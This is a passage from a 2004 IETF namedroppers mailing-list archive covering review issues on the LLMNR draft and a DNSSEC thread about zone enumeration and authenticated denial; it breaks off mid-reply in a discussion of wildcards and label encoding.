address and configuration on an interface The name conflict detection mechanism doesn't prevent name conflicts when previously partitioned segments are connected by a bridge. In order to minimize the chance of conflicts in such a situation, it is recommended that steps be taken to ensure name uniqueness. For example, the name could be chosen randomly from a large pool of potential names, or the name could be assigned via a process designed to guarantee uniqueness. When name conflicts are detected, they SHOULD be logged. To detect duplicate use of a name, an administrator can use a name resolution utility which employs LLMNR and lists both responses and responders. This would allow an administrator to diagnose behavior and potentially to intervene and reconfigure LLMNR responders who should not be configured to respond to the same name." ---------------------------------------------------------------------- Issue 70: Uniqueness Submitter: Thomas Narten Submitter email address: narten@us.ibm.com Date first submitted: August 27, 2004 Reference: Document: LLMNR-34 Comment type: E Priority: S Section: Various Rationale/Explanation of issue: > Every responder that responds to an LLMNR query AND includes a UNIQUE > record in the response: This is an odd use/defn. of UNIQUE. UNIQUE depends on there being only one response. The words here seem to say that the responder (if it cares) needs to ensure this. But the wording is weak. When does a responder care about a UNIQUE record? If not, it won't bother doing any steps. > [1] MUST verify that there is no other host within the > scope of the LLMNR query propagation that can return > a resource record for the same name, type and class. What responder cares about this? If you are trying to say that there are certain RRsets that must be unique, then better just say that... > cache. For each UNIQUE resource record in a given interface's > configuration, the host MUST verify resource record uniqueness on > that interface. To accomplish this, the host MUST send an LLMNR > query for each UNIQUE resource record. again, I sense that a UNIQUE RR is something that needs to be configured. Are there words to that effect somewhere? > record, the host MUST respond. After the client receives a response, > it MUST check whether the response arrived on an interface different > from the one on which the query was sent. If the response arrives on > a different interface, the client can use the UNIQUE resource record > in response to LLMNR queries. If not, then it MUST NOT use the > UNIQUE resource record in response to LLMNR queries. I'm confused. Is this part of the uniqueness verification algorithm? It seems like the first sentence and the rest of the paragraph don't quite go together. > record, the host MUST respond. After the client receives a response, Who is the client now? Is this not just requester? > The sender MUST anticipate receiving multiple replies to the same > LLMNR query, in the event that several LLMNR enabled computers > receive the query and respond with valid answers. When this occurs, > the responses may first be concatenated, and then treated in the same > manner that multiple RRs received from the same DNS server would; the > sender perceives no inherent conflict in the receipt of multiple > responses. Do you mean concatenate valid answers? it doesn't make sense to concatenate various errors, ... > There are some scenarios when multiple responders MAY respond to the > same query. There are other scenarios when only one responder MAY > respond to a query. Resource records for which the latter queries MAY seems wrong here. MAY is not about implementation choices (when you receive them...) -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: Bernard Aboba <aboba@internaut.com> Subject: LLMNR Issue 71 (AD Review): Configuration Date: Thu, 2 Sep 2004 10:47:50 -0700 (PDT) Lines: 112 Sender: owner-namedroppers@ops.ietf.org Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-From: owner-namedroppers@ops.ietf.org Thu Sep 02 20:01:30 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: namedroppers@ops.ietf.org Precedence: bulk The list of current LLMNR issues and resolutions is available here: http://www.drizzle.com/~aboba/DNSEXT/llmnrissues.html The text of Issue 71 is enclosed below. The proposed resolution is as follows: In Section 2, change: " [1] No manual or automatic DNS configuration has been performed. If an interface has been configured with DNS server address(es), then LLMNR SHOULD NOT be used as the primary name resolution mechanism on that interface, although it MAY be used as a name resolution mechanism of last resort." To: " [1] No manual or automatic DNS configuration has been performed. If any interface has been configured with DNS server address(es), then LLMNR SHOULD NOT be used as the primary name resolution mechanism, although it MAY be used as a secondary name resolution mechanism." In Section 3.1, change: "Unless unconfigured hosts periodically retry configuration, an outage in the DNS configuration mechanism will result in hosts continuing to use LLMNR even once the outage is repaired. Since LLMNR only enables linklocal name resolution, this represents an unnecessary degradation in capabilities. As a result, it is recommended that hosts without a configured DNS server periodically attempt to obtain DNS configuration. For example, where DHCP is used for DNS configuration, [RFC2131] recommends a maximum retry interval of 64 seconds. In the absence of other guidance, a default retry interval of one (1) minute is RECOMMENDED." To: "An outage in the DNS configuration mechanism may result in hosts continuing to use LLMNR even once the outage is repaired. Since LLMNR only enables linklocal name resolution, this represents a degradation in capabilities. As a result, hosts without a configured DNS server may wish to periodically attempt to obtain DNS configuration if permitted by the configuration mechanism in use. In the absence of other guidance, a default retry interval of one (1) minute is RECOMMENDED." Change: " For example, if the configured DNS server responds to AAAA RR queries sent over IPv4 or IPv6 with an authoritative name error (RCODE=3), then it will not be possible to resolve the names of IPv6-only hosts. In this situation, LLMNR over IPv6 can be used for local name resolution." To: " For example, if the configured DNS server responds to all AAAA RR queries sent over IPv4 or IPv6 with an authoritative name error (RCODE=3), then it will not be possible to resolve the names of IPv6-only hosts. In this situation, LLMNR over IPv6 can be used for local name resolution." ------------------------------------------------------------------------- Issue 71: Configuration Submitter: Thomas Narten Submitter email address: narten@us.ibm.com Date first submitted: August 27, 2004 Reference: Document: LLMNR-34 Comment type: T Priority: S Section: Various Rationale/Explanation of issue: > [1] No manual or automatic DNS configuration has been > performed. If an interface has been configured with DNS > server address(es), then LLMNR SHOULD NOT be used as the > primary name resolution mechanism on that interface, although > it MAY be used as a name resolution mechanism of last resort. DNS server addresses are not what I'd consider "per-interface" information. > Unless unconfigured hosts periodically retry configuration, an outage > in the DNS configuration mechanism will result in hosts continuing to > use LLMNR even once the outage is repaired. Since LLMNR only enables > linklocal name resolution, this represents an unnecessary degradation > in capabilities. As a result, it is recommended that hosts without a > configured DNS server periodically attempt to obtain DNS > configuration. For example, where DHCP is used for DNS > configuration, [RFC2131] recommends a maximum retry interval of 64 > seconds. In the absence of other guidance, a default retry interval > of one (1) minute is RECOMMENDED. Again, this seems simplistic. You should not go back to your DHC server every 64 seconds if has given you parameters other than DNS. > For example, if the configured DNS server responds to AAAA RR queries > sent over IPv4 or IPv6 with an authoritative name error (RCODE=3), > then it will not be possible to resolve the names of IPv6-only hosts. > In this situation, LLMNR over IPv6 can be used for local name > resolution. seems to narrow. Getting RCODE=3 for one query, can't be generalized to say AAAA is not supported at all by that server. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: Bernard Aboba <aboba@internaut.com> Subject: LLMNR Issue 72 (AD Review): MAYs Date: Thu, 2 Sep 2004 10:50:54 -0700 (PDT) Lines: 119 Sender: owner-namedroppers@ops.ietf.org Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-From: owner-namedroppers@ops.ietf.org Thu Sep 02 20:05:00 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: namedroppers@ops.ietf.org Precedence: bulk The list of current LLMNR issues and resolution is available here: http://www.drizzle.com/~aboba/DNSEXT/llmnrissues.html The text of Issue 72 is enclosed below. The proposed resolution is as follows: In Section 2.3, change: "Responses SHOULD always be sent from the port to which they were directed." To: "Responses MUST always be sent from the port to which they were directed." In Section 2.3, change: "If a responder is authoritative for a name, it MAY respond with RCODE=0 and an empty answer section, if the type of query does not match a RR that the responder has." To: "If a responder is authoritative for a name, it SHOULD respond with RCODE=0 and an empty answer section, if the type of query does not match a RR that the responder has." In Section 2.7, change: " If an LLMNR query sent over UDP is not resolved within LLMNR_TIMEOUT, then a sender MAY repeat the transmission of the query in order to assure that it was received by a host capable of responding to it." To: " If an LLMNR query sent over UDP is not resolved within LLMNR_TIMEOUT, then a sender SHOULD repeat the transmission of the query in order to assure that it was received by a host capable of responding to it." In Section 2.7, change: " An LLMNR sender SHOULD dynamically compute the value of LLMNR_TIMEOUT for each transmission. It is suggested that the computation of LLMNR_TIMEOUT be based on the response times for earlier LLMNR queries sent on the same interface. For example, the algorithms described in RFC 2988 [RFC2988] (including exponential backoff) compute an RTO, which is used as the value of LLMNR_TIMEOUT. Smaller values MAY be used for the initial RTO (discussed in Section 2 of [RFC2988], paragraph 2.1), the minimum RTO (discussed in Section 2 of [RFC2988], paragraph 2.4), and the maximum RTO (discussed in Section 2 of [RFC2988], paragraph 2.5). Recommended values are an initial RTO of 1 second, a minimum RTO of 200ms, and a maximum RTO of 5 seconds." To: "An LLMNR sender SHOULD dynamically compute the value of LLMNR_TIMEOUT for each transmission. For example, the algorithms described in RFC 2988 [RFC2988] (including exponential backoff) compute an RTO, which is used as the value of LLMNR_TIMEOUT. Smaller values MAY be used for the initial RTO (discussed in Section 2 of [RFC2988], paragraph 2.1), the minimum RTO (discussed in Section 2 of [RFC2988], paragraph 2.4), and the maximum RTO (discussed in Section 2 of [RFC2988], paragraph 2.5). Recommended values are an initial RTO of 500 ms, a minimum RTO of 100ms, and a maximum RTO of 5 seconds." ------------------------------------------------------------------------ Issue 72: MAYs Submitter: Thomas Narten Submitter email address: narten@us.ibm.com Date first submitted: August 27, 2004 Reference: Document: LLMNR-34 Comment type: T Priority: S Section: Various Rationale/Explanation of issue: > [b] Responders MUST direct responses to the port from which the query > was sent. When queries are received via TCP this is an inherent > part of the transport protocol. For queries received by UDP the > responder MUST take note of the source port and use that as the > destination port in the response. Responses SHOULD always be sent > from the port to which they were directed. SHOULD is no good here, unless you also specify what sender MUST do. > [g] If a responder is authoritative for a name, it MAY respond with > RCODE=0 and an empty answer section, if the type of query does not > match a RR that the responder has. why the MAY? Is this useful? What impact does this have on a recipient?? > As an example, a host configured to respond to LLMNR queries for the > name "foo.example.com." is authoritative for the name > "foo.example.com.". On receiving an LLMNR query for an A RR with the > name "foo.example.com." the host authoritatively responds with A > RR(s) that contain IP address(es) in the RDATA of the resource > record. If the responder has a AAAA RR, but no A RR, and an A RR > query is received, the responder would respond with RCODE=0 and an > empty answer section. above won't happen if [g] is only a MAY.... > If an LLMNR query sent over UDP is not resolved within LLMNR_TIMEOUT, > then a sender MAY repeat the transmission of the query in order to > assure that it was received by a host capable of responding to it. MAY? Come on, this should be a SHOULD/MUST. It's hardly robust to do this query exactly one time. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: Bernard Aboba <aboba@internaut.com> Subject: LLMNR Issue 73 (AD Review): RCODEs/TSIG/DNSSEC Date: Thu, 2 Sep 2004 10:53:04 -0700 (PDT) Lines: 76 Sender: owner-namedroppers@ops.ietf.org Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-From: owner-namedroppers@ops.ietf.org Thu Sep 02 20:05:47 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: namedroppers@ops.ietf.org Precedence: bulk The list of current LLMNR issues and resolutions is available here: http://www.drizzle.com/~aboba/DNSEXT/llmnrissues.html The text of Issue 73 is enclosed below. The proposed resolution is as follows: In Section 2.9 , change: "Responders SHOULD NOT perform DNS additional section processing, except as required for EDNS0 and DNSSEC." To: "In LLMNR, the additional section is only intended for use by EDNS0, TSIG and SIG(0). As a result, senders MAY only include pseudo RR-types in the additional section of a query; responders MUST ignore the additional section of queries containing other RR types." Change Section 5.4 to: "LLMNR implementations MAY support TSIG and/or SIG(0) security mechanisms. Since LLMNR does not support "delegated trust" (CD or AD bits), and LLMNR senders are unlikely to be DNSSEC-aware, in practice LLMNR is not compatible with DNSSEC. Since LLMNR implementations MAY NOT support TSIG or SIG(0), responses to LLMNR queries may be unauthenticated. If authentication is desired, and a pre-arranged security configuration is possible, then IPsec ESP with a null-transform MAY be used to authenticate unicast LLMNR queries and responses or LLMNR responses to multicast queries. In a small network without a certificate authority, this can be most easily accomplished through configuration of a group pre-shared key for trusted hosts." --------------------------------------------------------------------------- Issue 73: RCODEs/TSIG/DNSSEC Submitter: Thomas Narten Submitter email address: narten@us.ibm.com Date first submitted: August 27, 2004 Reference: Document: LLMNR-34 Comment type: T Priority: S Section: Various Rationale/Explanation of issue: > LLMNR implementations MUST support EDNS0 [RFC2671] and extended > RCODE values. Is this necessary? Earlier, the spec says non-zero RCODEs must be ignored. Isn't an EDNS0 extended RCODE by definition non-zero (I couldn't quite tell from a quick check, but that would seem to be the case.) > Responders SHOULD NOT perform DNS additional section processing, > except as required for EDNS0 and DNSSEC. DNSSEC is a part of this? > If an LLMNR responder is authoritative for the name in a multicast > query, but an error is encountered, the responder SHOULD send an > LLMNR response with an RCODE of zero, no RRs in the answer section, > and the TC bit set. This will cause the query to be resent using > TCP, and allow the inclusion of a non-zero RCODE in the response to > the TCP query. Responding with the TC bit set is preferable to not > sending a response, since it enables errors to be diagnosed. Don't follow the above. "but an error" is general (not just for too much data to fit in response). Why would requerying with TCP get a better response? -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: Bernard Aboba <aboba@internaut.com> Subject: LLMNR Issue 74 (AD Review): Partial Responses/TC Bit Date: Thu, 2 Sep 2004 10:54:44 -0700 (PDT) Lines: 56 Sender: owner-namedroppers@ops.ietf.org Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-From: owner-namedroppers@ops.ietf.org Thu Sep 02 20:08:11 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: namedroppers@ops.ietf.org Precedence: bulk The list of open and resolved LLMNR Issues is available here: http://www.drizzle.com/~aboba/DNSEXT/llmnrissues.html The text of Issue 74 is enclosed below. The proposed resolution is as follows: In Section 2.1.1, change: "If the TC bit is set in an LLMNR response, then the sender MAY use the response if it contains all necessary information, or the sender MAY discard the response and resend the LLMNR query over TCP using the unicast address of the responder as the destination address. See [RFC2181] and Section 2.4 of this specification for further discussion of the TC bit." To: "If the TC bit is set in an LLMNR response, then the sender SHOULD discard the response and resend the LLMNR query over TCP using the unicast address of the responder as the destination address. See [RFC2181] and Section 2.4 of this specification for further discussion of the TC bit." --------------------------------------------------------------------------- Issue 74: Partial Responses/TC Bit Submitter: Thomas Narten Submitter email address: narten@us.ibm.com Date first submitted: August 27, 2004 Reference: Document: LLMNR-34 Comment type: T Priority: S Section: Various Rationale/Explanation of issue: > by an LLMNR responder. If the TC bit is set an LLMNR response, > then the sender MAY use the response if it contains all necessary > information, or the sender MAY discard the response and resend the > LLMNR query over TCP using the unicast address of the responder as > the destination address. See [RFC2181] and Section 2.4 of this > specification for further discussion of the TC bit. section 9 of 2181 does not allow use of a partial response. the issue is that one can't know whether all the data that one needs is in the response. Should this spec be deviating from DNS here? I suspect not, especially since truncation should be much less of an issue given the requirement that the link MTU be supported. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: Bernard Aboba <aboba@internaut.com> Subject: LLMNR Issue 75 (AD Review): Miscellaneous Date: Thu, 2 Sep 2004 10:57:29 -0700 (PDT) Lines: 75 Sender: owner-namedroppers@ops.ietf.org Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-From: owner-namedroppers@ops.ietf.org Thu Sep 02 20:13:21 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: namedroppers@ops.ietf.org Precedence: bulk The list of LLMNR Issues and resolutions is available here: http://www.drizzle.com/~aboba/DNSEXT/llmnrissues.html The text of Issue 75 is enclosed below. The proposed resolution is as follows: In Section 2.1, change: "When in doubt a maximum packet size of 512 octets SHOULD be used. LLMNR implementations MUST accept UDP queries and responses as large as permitted by the link MTU." To: "When in doubt a maximum packet size of 512 octets SHOULD be used. LLMNR implementations MUST accept UDP queries and responses as large as 8192 octets." In Section 2.1.1, change: "The ID field in a query SHOULD be set to a pseudo-random value." To: "The ID field in a query SHOULD be set to a pseudo-random value. For advice on generation of pseudo-random values, please consult [RFC1750]." Add to non-normative references: [RFC 1750] Eastlake, D., Crocker S. and J. Schiller, "Randomness Recommendations for Security", RFC 1750, December 1994. ----------------------------------------------------------------------- Issue 75: Miscellaneous Submitter: Thomas Narten Submitter email address: narten@us.ibm.com Date first submitted: August 27, 2004 Reference: Document: LLMNR-34 Comment type: T Priority: S Section: Various Rationale/Explanation of issue: > packet size of 512 octets SHOULD be used. LLMNR implementations MUST > accept UDP queries and responses as large as permitted by the link > MTU. Some links support ridiculous MTUs (e.g., 65K). Would it be useful to place an upper bound on the max size to something big, but not ridiculous? E.g., 5K? 10k? > queries. The ID field in a query SHOULD be set to a pseudo-random > value. Does this need to be unpredictable for security? If so, say so, and perhaps cite the relevant RFC. > Since the responder may order the RRs in the response so as to > indicate preference, the sender SHOULD preserve ordering in the > response to the querying application. this is a change from DNS. > Routable addresses MUST be included first in the response, if > available. This encourages use of routable address(es) for > establishment of new connections. hmm. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: Edward Lewis <edlewis@arin.net> Subject: Re: Zone enumeration, requirements, and security redux Date: Thu, 2 Sep 2004 14:26:26 -0400 Lines: 48 Sender: owner-namedroppers@ops.ietf.org References: <4E25ECBBC03F874CBAD03399254ADFDE1052D2@US-Columbia-CIST.mail.saic.com> <a06020408bd5ceb3f61d0@[192.168.1.100]> <ilupt544ope.fsf@latte.josefsson.org> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Thu Sep 02 20:33:33 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: edlewis@127.0.0.1 In-Reply-To: <ilupt544ope.fsf@latte.josefsson.org> To: Simon Josefsson <jas@extundo.com> Precedence: bulk At 18:31 +0200 9/2/04, Simon Josefsson wrote: >Edward Lewis <edlewis@arin.net> writes: > >> [Find] a way to prove the non-existence of a name without >... >> - muddying up the name space with fake names or data sets > >What does this mean? > >The simplest explanation is perhaps an example of a solution that >wouldn't fulfill the requirement. The EXIST record of NSEC2. Having to add hashes of names to the zone. >The reason I ask is that some users may find it useful to fill up the >name space with fake names, when adding NSECbis records. The reason >for doing so would be to make it more difficult to find (arbitrarily >precise) zone size estimates. All NSEC replacement proposals so far >are vulnerable to remote zone size estimates, and DNS without DNSSEC >is not. See section 3 of http://www.links.org/dnssec/requirements.txt Is defending against size estimates a goal/criteria? I haven't seen that presented as a problem (other than to know how successful a brute-force guessing attack has been.) With the criteria I've listed, I don't think it's possible to solve the puzzle. I'm listing what I think are the desirable features of the puzzle solution. In my mind, requirements are "absolutely must have" desirable features. So, by starting with all the desire features, whittling them down, we get to the requirements. Then, we can design and evaluate solutions. I want to add - not all proposals involving hashes "muddy up the name space." It's when the hashes are to be added to the zone that I get queasy. -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis +1-703-227-9854 ARIN Research Engineer "I can't go to Miami. I'm expecting calls from telemarketers." - Grandpa Simpson. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: Simon Josefsson <jas@extundo.com> Subject: Re: Zone enumeration, requirements, and security redux Date: Thu, 02 Sep 2004 20:52:30 +0200 Lines: 61 Sender: owner-namedroppers@ops.ietf.org References: <4E25ECBBC03F874CBAD03399254ADFDE1052D2@US-Columbia-CIST.mail.saic.com> <a06020408bd5ceb3f61d0@[192.168.1.100]> <ilupt544ope.fsf@latte.josefsson.org> <a0602040abd5d13a1b5c1@[192.168.1.100]> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-From: owner-namedroppers@ops.ietf.org Thu Sep 02 21:00:51 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Injected-Via-Gmane: http://gmane.org/ To: namedroppers@ops.ietf.org Lines: 54 X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: c494102a.s-bi.bostream.se User-Agent: Gnus/5.110003 (No Gnus v0.3) Emacs/21.3.50 (gnu/linux) Cancel-Lock: sha1:tu0A4x+hYkFlPQ+OXYPG3BVePlQ= Precedence: bulk Edward Lewis <edlewis@arin.net> writes: > At 18:31 +0200 9/2/04, Simon Josefsson wrote: >>Edward Lewis <edlewis@arin.net> writes: >> >>> [Find] a way to prove the non-existence of a name without >>... >>> - muddying up the name space with fake names or data sets >> >>What does this mean? >> >>The simplest explanation is perhaps an example of a solution that >>wouldn't fulfill the requirement. > > The EXIST record of NSEC2. Having to add hashes of names to the zone. Why is that a problem? Is it something more than the increase in the number of owner names in the zone? >>The reason I ask is that some users may find it useful to fill up the >>name space with fake names, when adding NSECbis records. The reason >>for doing so would be to make it more difficult to find (arbitrarily >>precise) zone size estimates. All NSEC replacement proposals so far >>are vulnerable to remote zone size estimates, and DNS without DNSSEC >>is not. See section 3 of http://www.links.org/dnssec/requirements.txt > > Is defending against size estimates a goal/criteria? I haven't seen > that presented as a problem (other than to know how successful a > brute-force guessing attack has been.) I don't know, but I wanted to be bring it up for discussion. Similar to zone enumeration, zone size estimate is a vulnerability that didn't exist with vanilla DNS, which DNSSEC (even with NSECbis) would introduce. I know I'm going to make use of this property to collect statistics about zones. Perhaps some operators doesn't like that idea. Note the subtle wording of my requirement. The requirement isn't that NSECbis should protect against zone size estimate attacks. The requirement is that NSECbis should not exclude implementations to protect against the attack by, e.g., inserting fake names when generating NSECbis records. > I want to add - not all proposals involving hashes "muddy up the name > space." It's when the hashes are to be added to the zone that I get > queasy. I think you lost me here. Could you give an example of a NSECbis proposal that _doesn't_ add hashes to the zone? I thought they all did that. Thanks, Simon -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: Ted Hardie <hardie@qualcomm.com> Subject: Re: Zone enumeration, requirements, and security redux Date: Thu, 2 Sep 2004 12:16:14 -0700 Lines: 31 Sender: owner-namedroppers@ops.ietf.org References: <4E25ECBBC03F874CBAD03399254ADFDE1052D2@US-Columbia-CIST.mail.saic.com> <a06020408bd5ceb3f61d0@[192.168.1.100]> <ilupt544ope.fsf@latte.josefsson.org> <a0602040abd5d13a1b5c1@[192.168.1.100]> <iluhdqg4i6p.fsf@latte.josefsson.org> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" X-From: owner-namedroppers@ops.ietf.org Thu Sep 02 21:22:47 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: hardie@mage.qualcomm.com In-Reply-To: <iluhdqg4i6p.fsf@latte.josefsson.org> To: namedroppers@ops.ietf.org Precedence: bulk This is an engineering trade-off, and I believe it is an appropriate one. The risk (zone enumeration) introduces a new mechanism by which data stored in the DNS is made available (discovery vs. lookup), but all of the data so exposed is already a public part of the zone. Even with the introduction of IRIS (the CRISP protocol) there is no doubt that the introduction of the new mechanism does create operational concerns for some deployments, but dropping it without a replacement loses authenticated denial, which is a far more fundamental part of the system. Any new mechanism introduced to achieve authenticated denial without zone enumeration will have its own trade-offs, which are unknown at this time. An optimist can assume they will be better; a pessimist notes that they must be worst on time of initial deployment and may be worse in other ways. I would support the creation of a working group item for development of DNS-with-ACLs, to be applicable to DNS or DNSSEC zones; I think that would refocus the problem in ways that make the trade offs more clear. The WG may, of course, decide the result is not DNS, but some other service, and that service can go forward on the merits of that need. In the mean time, though, we need to move forward with the current system, which meets all the requirements it was originally intended to meet. regards, Ted -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: Edward Lewis <edlewis@arin.net> Subject: Re: Zone enumeration, requirements, and security redux Date: Thu, 2 Sep 2004 15:17:51 -0400 Lines: 112 Sender: owner-namedroppers@ops.ietf.org References: <4E25ECBBC03F874CBAD03399254ADFDE1052D2@US-Columbia-CIST.mail.saic.com> <a06020408bd5ceb3f61d0@[192.168.1.100]> <ilupt544ope.fsf@latte.josefsson.org> <a0602040abd5d13a1b5c1@[192.168.1.100]> <iluhdqg4i6p.fsf@latte.josefsson.org> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Thu Sep 02 21:25:16 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: edlewis@127.0.0.1 In-Reply-To: <iluhdqg4i6p.fsf@latte.josefsson.org> To: Simon Josefsson <jas@extundo.com> Precedence: bulk At 20:52 +0200 9/2/04, Simon Josefsson wrote: >Edward Lewis <edlewis@arin.net> writes: > >> At 18:31 +0200 9/2/04, Simon Josefsson wrote: >>>Edward Lewis <edlewis@arin.net> writes: >>> >>>> [Find] a way to prove the non-existence of a name without >>>... >>>> - muddying up the name space with fake names or data sets >>> >>>What does this mean? >>> >>>The simplest explanation is perhaps an example of a solution that >>>wouldn't fulfill the requirement. >> >> The EXIST record of NSEC2. Having to add hashes of names to the zone. > >Why is that a problem? Is it something more than the increase in the >number of owner names in the zone? One of the things I look out for is any definition of the protocol that "determines the shape of the tree." I.e., DNS specifications don't describe what zones are in existence (com.). The SRV record does add prefixes to names (_tcp.<hostname>), I'm wary of that still. (The SRV is also "just" a Proposed Standard.) Why worry about this? I've stated a general bias, so the reasons vary by proposal. Specifying that certain zones exist, or that labels are reserved tread into non-engineering matters. Using prefix's on names causes some heartburn with wild cards - i.e., those who use * MX are tempted to then assume they can add _marid._tcp.* records. When it comes to hashed names - if you add hashes as extra labels in the zone, where do you stop? (Note: I am stating this as an example concern. Please don't try to pick this apart, it's out of context of a developed proposal.) Ex. example.com SOA a.example.com A HASH(a).example.com NSEC2 Do you now have to also have HASH(HASH(a)).example.com too? Or are you now saying that half the names in the zone are treated one way and the other another way. What if HASH(a) equals a name that is supposed to be in the zone - how is that name special cased. I mention this as an example. The time to discuss this will be when we get to discussing a proposal that does this. Let's not get into a thread on this until there are requirements laid out. >>>The reason I ask is that some users may find it useful to fill up the >>>name space with fake names, when adding NSECbis records. The reason >>>for doing so would be to make it more difficult to find (arbitrarily >>>precise) zone size estimates. All NSEC replacement proposals so far >>>are vulnerable to remote zone size estimates, and DNS without DNSSEC >>>is not. See section 3 of http://www.links.org/dnssec/requirements.txt >> >> Is defending against size estimates a goal/criteria? I haven't seen >> that presented as a problem (other than to know how successful a >> brute-force guessing attack has been.) > >I don't know, but I wanted to be bring it up for discussion. Similar >to zone enumeration, zone size estimate is a vulnerability that didn't >exist with vanilla DNS, which DNSSEC (even with NSECbis) would >introduce. > >I know I'm going to make use of this property to collect statistics >about zones. Perhaps some operators doesn't like that idea. > >Note the subtle wording of my requirement. The requirement isn't that >NSECbis should protect against zone size estimate attacks. The >requirement is that NSECbis should not exclude implementations to >protect against the attack by, e.g., inserting fake names when >generating NSECbis records. I'd suggest a new mail thread on that. I'm ambivalent on the topic, but a nice subject line would be good to draw in those who might have strong thoughts. Please don't take my words to say that I think this is a non-issue for others, but it is a non-issue for me. >> I want to add - not all proposals involving hashes "muddy up the name >> space." It's when the hashes are to be added to the zone that I get >> queasy. > >I think you lost me here. Could you give an example of a NSECbis >proposal that _doesn't_ add hashes to the zone? I thought they all >did that. Well, we aren't at the stage of solutions now, but I know of some discussions about on-line signing that do not need hashes. (If you find key management bearable, you can sign on-the-fly a negative answer using the query name in places.) I think it's possible to use name hashes without putting the hashed names in the DNS. But I'm waiting until I see requirements before pursuing the idea. -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis +1-703-227-9854 ARIN Research Engineer "I can't go to Miami. I'm expecting calls from telemarketers." - Grandpa Simpson. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: Robert Elz <kre@munnari.OZ.AU> Subject: Re: wild cards Date: Fri, 03 Sep 2004 02:37:50 +0700 Lines: 187 Sender: owner-namedroppers@ops.ietf.org References: <a06020406bd5cd75cb8dd@[192.168.1.100]> <a06020407bd5b9bc9d506@[192.168.1.100]> <25125.1094132929@munnari.OZ.AU> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Thu Sep 02 21:44:20 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Edward Lewis <edlewis@arin.net> In-Reply-To: <a06020406bd5cd75cb8dd@[192.168.1.100]> Precedence: bulk Date: Thu, 2 Sep 2004 10:37:35 -0400 From: Edward Lewis <edlewis@arin.net> Message-ID: <a06020406bd5cd75cb8dd@[192.168.1.100]> | It's true that there is no other restriction on a domain name other | than label and total length. And 1034 does mention that the null | label is reserved for the root - not the null name, but the null | label. (So I think an encoding of "0x00 0x03 A B C" as illegal in | the sense that the label "ABC" is trailing garbage.) No, that's not illegal at all, it just doesn't mean what you you're implying it might mean. The 0 length byte (null label) terminates the label. The bytes that follow it simply aren't part of that label, they're the next data from the packet (if the domain was in the name field, the "0x3 A" would be the type octets, and the "B C" the class). Those are "unusual" type & class values, but not illegal in any way. If this occurred as the start of the RDATA in an SOA, the 0x3 A B C would just be the SOA.rname (or start thereof). In other places they might generate a format error for the packet, but that's still not an illegal domain name. | This doesn't bar us from now defining domain names as illegal - | keeping in mind that anytime we do something for the first time we 